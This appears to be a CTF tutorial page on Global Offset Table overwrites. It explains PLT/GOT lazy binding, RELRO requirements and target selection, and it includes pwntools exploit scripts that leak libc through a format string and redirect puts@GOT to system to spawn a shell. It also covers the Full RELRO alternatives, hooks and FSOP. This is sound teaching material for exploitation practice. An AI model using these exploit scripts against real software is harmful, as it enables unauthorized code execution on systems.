GOT Overwrite
Overwrite Global Offset Table entries to redirect libc function calls in CTF pwn challenges.
GOT Overwrite
The GOT (Global Offset Table) stores the runtime addresses of libc functions. If you can write to it, you can redirect any libc function call to wherever you want, like turning puts("/bin/sh") into system("/bin/sh").
This technique turns an arbitrary write primitive into code execution.
How PLT/GOT Works
When a compiled binary calls puts("Hello"), it doesn't know where puts actually lives in memory (because of ASLR). Instead:
- The binary calls
puts@PLT— a small stub in the binary puts@PLTjumps to the address stored inputs@GOT- The first time, the dynamic linker fills
puts@GOTwith the real libc address - Every subsequent call,
puts@GOTis used directly
puts@PLT:
jmp [puts@GOT] ← looks up the real address
push 0 ← lazy binding stub (first call only)
jmp _PLT_0The GOT is just a table of function pointers. If you overwrite one of those pointers, the next call to that function goes wherever you point it.
Requirements
| Requirement | Why |
|---|---|
| Partial RELRO | Full RELRO makes the GOT read-only — you can't overwrite it |
| Arbitrary write primitive | Format string, heap overflow, UAF, etc. |
| Control over the function argument | You need to pass "/bin/sh" to system() |
Run checksec first:
RELRO: Partial RELRO ← GOT is writable, you can proceed
RELRO: Full RELRO ← GOT is read-only, use alternativesStrategy
- Verify Partial RELRO with
checksec - Find a function that's called after your overwrite
- Make sure you can control its argument when it's called
- Overwrite that function's GOT entry with
system - Trigger the call with
"/bin/sh"as the argument
Choosing a Target
Not all GOT entries are equally useful. You need a function that will be called with an argument you control:
| Target | Called with what | Strategy |
|---|---|---|
puts | any string | Call puts("/bin/sh") → actually calls system("/bin/sh") |
printf | format string | printf("/bin/sh") → system("/bin/sh") |
atoi | user input string | Input "/bin/sh" → atoi("/bin/sh") → system("/bin/sh") |
strlen | any string | strlen("/bin/sh") → system("/bin/sh") |
exit | integer | Less useful, but sometimes works |
atoi is especially powerful: if the program calls atoi(user_input) in a loop, overwrite atoi@GOT with system, then type /bin/sh when prompted.
Example: Format String GOT Overwrite
This is the most common CTF pattern — a format string bug gives you both the leak and the write:
from pwn import *
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')
# Step 1: Leak libc via format string
p.sendline(b"%21$p") # find this offset by trial
leak = int(p.recvline().strip(), 16)
libc.address = leak - libc.sym['__libc_start_main'] - 0x80
log.success(f"libc @ {hex(libc.address)}")
# Step 2: Overwrite puts@GOT with system
fmt_offset = 6 # your format string offset
writes = {elf.got['puts']: libc.sym['system']}
p.sendline(fmtstr_payload(fmt_offset, writes))
# Step 3: Trigger — next puts("/bin/sh") calls system("/bin/sh")
p.sendline(b"/bin/sh")
p.interactive()Example: Heap-Based GOT Overwrite
When you have a heap primitive (UAF, overflow) that gives arbitrary write:
from pwn import *
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')
# After getting libc leak and computing system address:
target = elf.got['puts']
value = libc.sym['system']
# Use your write primitive (tcache poisoning, UAF, etc.)
# to write value to target
write_to(target, value)
# Trigger: call the overwritten function with "/bin/sh"
p.sendline(b'/bin/sh')
p.interactive()For heap-based write primitives, see Heap Exploitation and Tcache Poisoning.
Verifying in GDB
gdb ./vuln
(gdb) info got # show all GOT entries and their values
(gdb) x/gx &puts # check puts@GOT specifically
# After your overwrite:
(gdb) x/gx <puts@got address>
# Should show the address of system() instead of puts()When Full RELRO Blocks GOT Overwrite
With Full RELRO, the GOT is read-only. You need alternative targets:
| Target | glibc version | Notes |
|---|---|---|
__free_hook | < 2.34 | Called on every free() |
__malloc_hook | < 2.34 | Called on every malloc() |
__realloc_hook | < 2.34 | Called on every realloc() |
_IO_2_1_stdout_ | Any | FSOP — fake file struct (advanced) |
.fini_array | Any | Called on program exit |
For glibc 2.34+ (where hooks are removed), the main alternative is FSOP via House of Apple.
Checklist
-
checksec— Partial RELRO? → GOT is writable - Full RELRO? → use hooks, FSOP, or stack-based writes instead
- Leak libc first (to compute
systemaddress) - Choose target:
puts,atoi,exit,strlen— pick one you can control the argument of - Use your write primitive: format string, heap UAF, overflow
- Control the argument to the overwritten function → pass
"/bin/sh" - Verify in GDB before sending to remote
Last updated on